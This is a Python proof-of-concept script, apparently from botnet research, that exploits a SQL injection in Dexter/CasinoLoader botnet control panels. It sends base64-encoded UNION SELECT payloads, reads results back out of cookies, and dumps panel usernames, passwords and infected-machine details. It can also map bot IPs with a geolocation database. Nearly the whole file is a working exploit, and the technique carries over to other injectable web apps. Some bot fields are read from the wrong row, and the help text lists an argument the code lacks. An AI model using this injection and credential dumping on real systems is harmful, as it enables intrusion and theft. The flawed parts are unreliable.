dexter.PoC.py

#!/usr/bin/env python
import pycurl
import urllib
import cStringIO
import base64
import argparse
import sys
import string
import pygeoip

version = "0.1-http_bots-PoC"


def PrintHelp():
    global version
    print "usage: dexter.PoC.py [-h] [action] [gateway url]"
    print ""
    print "Dexter CasinoLoader BAMF PoC v" + version
    print "Exploiting CasinoLoader panels for information"
    print "By Brian Wallace (@botnet_hunter)"
    print ""
    print "arguments:"
    print "  action        Actions to be taken against the botnet (default: dump)"
    print "                dump - Print configuration information obtained from source file"
    print "                graph - Graph all the bots in the command and control to Gexf file"
    print "  source        Path to non-obfuscated source code for the target bot (default: stdin)"
    print ""
    print("GPS:")
    print("  -m MaxMind Location           Location of Maxmind database files (default .)")
    print ""
    print "  -h, --help    Print this message"
    print ""


class DexterPanel:
    def __init__(self, gateway_url):
        self.gateway_url = gateway_url

    @staticmethod
    def _get_field(gateway, table, column, row):
        buf = cStringIO.StringIO()
        c = pycurl.Curl()
        c.setopt(c.URL, gateway)
        page = "' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + str(row) + " -- --"
        params = urllib.urlencode({'val': 'AA==', 'page': base64.b64encode(page)})
        c.setopt(c.POSTFIELDS, params)
        c.setopt(c.HEADERFUNCTION, buf.write)
        c.perform()

        val = buf.getvalue()
        cookie = None
        for line in val.split('\n'):
            line = line.strip()
            if line.count('Set-Cookie:') > 0 and line.count("response") > 0:
                cookie = line
                cookie = cookie[cookie.find('=') + 1:]
                cookie = urllib.unquote(cookie)
                cookie = base64.b64decode(cookie)
                cookie = cookie[1:]
                cookie = cookie[:-2]
                break
        buf.close()
        return cookie

    def get_all_user_details(self):
        count = 0
        users = []
        while True:
            user = self._get_field(self.gateway_url, 'users', 'name', count)
            if user is None or user == "":
                break
            password = self._get_field(self.gateway_url, 'users', 'password', count)
            count += 1
            users.append({'user': user, 'password': password})
        return users

    def get_all_bot_details(self):
        count = 0
        bots = []
        while True:
            user = self._get_field(self.gateway_url, 'bots', 'RemoteIP', count)
            if user is None or user == "":
                break
            count += 1
            bots.append({'RemoteIP': user,
                         'UID': self._get_field(self.gateway_url, 'bots', 'UID', count),
                         'Version': self._get_field(self.gateway_url, 'bots', 'Version', count),
                         'Username': self._get_field(self.gateway_url, 'bots', 'Username', count),
                         'Computername': self._get_field(self.gateway_url, 'bots', 'Computername', count),
                         'UserAgent': self._get_field(self.gateway_url, 'bots', 'UserAgent', count),
                         'OS': self._get_field(self.gateway_url, 'bots', 'OS', count),
                         'Architecture': self._get_field(self.gateway_url, 'bots', 'Architecture', count),
                         'Idle Time': self._get_field(self.gateway_url, 'bots', 'Idle Time', count),
                         'Process List': self._get_field(self.gateway_url, 'bots', 'Process List', count),
                         'LastVisit': self._get_field(self.gateway_url, 'bots', 'LastVisit', count),
                         'LastCommand': self._get_field(self.gateway_url, 'bots', 'LastCommand', count)})
        return bots


if __name__ == "__main__":
    parser = argparse.ArgumentParser(add_help=False)
    parser.add_argument('action', nargs='?', type=str, default="dump", help="Actions to be taken against pBots (default: dump)", choices=["dump", "graph"])
    parser.add_argument('gateway', nargs='?', type=str, default=None, help="URL to Dexter bot gateway")
    parser.add_argument('-m', metavar='maxmind', type=str, nargs='?', default='./GeoLiteCity.dat')
    parser.add_argument('-h', '--help', default=False, required=False, action='store_true')

    args = parser.parse_args()

    if args.help or args.gateway is None:
        PrintHelp()
        sys.exit()

    if args.action == "dump":
        url = args.gateway
        dex = DexterPanel(url)
        print "User details: %s" % dex.get_all_user_details()
        print "Bot details: %s" % dex.get_all_bot_details()
    elif args.action == "graph":
        url = args.gateway
        dex = DexterPanel(url)
        bots = dex.get_all_bot_details()

        #load Maxmind
        sys.stderr.write('Loading MaxMind Database\n')
        gi = pygeoip.GeoIP(args.m)

        nodes = {}
        connections = []

        nodes["C2"] = {"id": 0, "label": "C2", "mod": 0}
        highestnode = 1

        #loop through all bots
        for bot in bots:
            ip = bot["RemoteIP"]
            geoip = gi.record_by_addr(ip)
            node = {"id": highestnode, "label": ip, "host": ip, "mod": 1}
            highestnode += 1
            if geoip is not None:
                node['lat'] = geoip["latitude"]
                node['lng'] = geoip["longitude"]
                nodes[ip] = node
                connections.append([node['id'], 0])

        print('<?xml version="1.0" encoding="UTF-8"?>')
        print('<gexf xmlns="http://www.gexf.net/1.2draft" version="1.2">')
        print('    <meta lastmodifieddate="2009-03-20">')
        print(('        <creator>' + "bwall" + '</creator>'))
        print('        <description></description>')
        print('    </meta>')
        print('    <graph mode="static" defaultedgetype="directed">')
        print('    <attributes class="node" mode="static">')
        print('      <attribute id="modularity_class" title="Modularity Class" type="integer"></attribute>')
        print('      <attribute id="lat" title="lat" type="double"></attribute>')
        print('      <attribute id="lng" title="lng" type="double"></attribute>')
        print('    </attributes>')
        print('        <nodes>')

        for name, node in list(nodes.items()):
            if 'lat' in node:
                print(('            <node id="' + str(node['id']) + '" label="' +
                    node['label'] + '">'))
                print('                <attvalues>')
                print(('                    <attvalue for="modularity_class" value="' +
                    str(node['mod']) + '"></attvalue>'))
                print('                     <attvalue for="lat" value="' + str(node['lat']) + '"></attvalue>')
                print('                     <attvalue for="lng" value="' + str(node['lng']) + '"></attvalue>')
                print('                </attvalues>')
                print('            </node>')
            else:
                print(('            <node id="' + str(node['id']) + '" label="' +
                    node['label'] + '">'))
                print('                <attvalues>')
                print(('                    <attvalue for="modularity_class" value="' +
                    str(node['mod']) + '"></attvalue>'))
                print('                     <attvalue for="lat" value="0"></attvalue>')
                print('                     <attvalue for="lng" value="0"></attvalue>')
                print('                </attvalues>')
                print('            </node>')
        print('        </nodes>')
        print('        <edges>')
        count = 0
        for node in connections:
            print(('            <edge id="' + str(count) + '" source="' + str(node[0]) +
                 '" target="' + str(node[1]) + '" />'))
            count += 1
        print('        </edges>')
        print('    </graph>')
        print('</gexf>')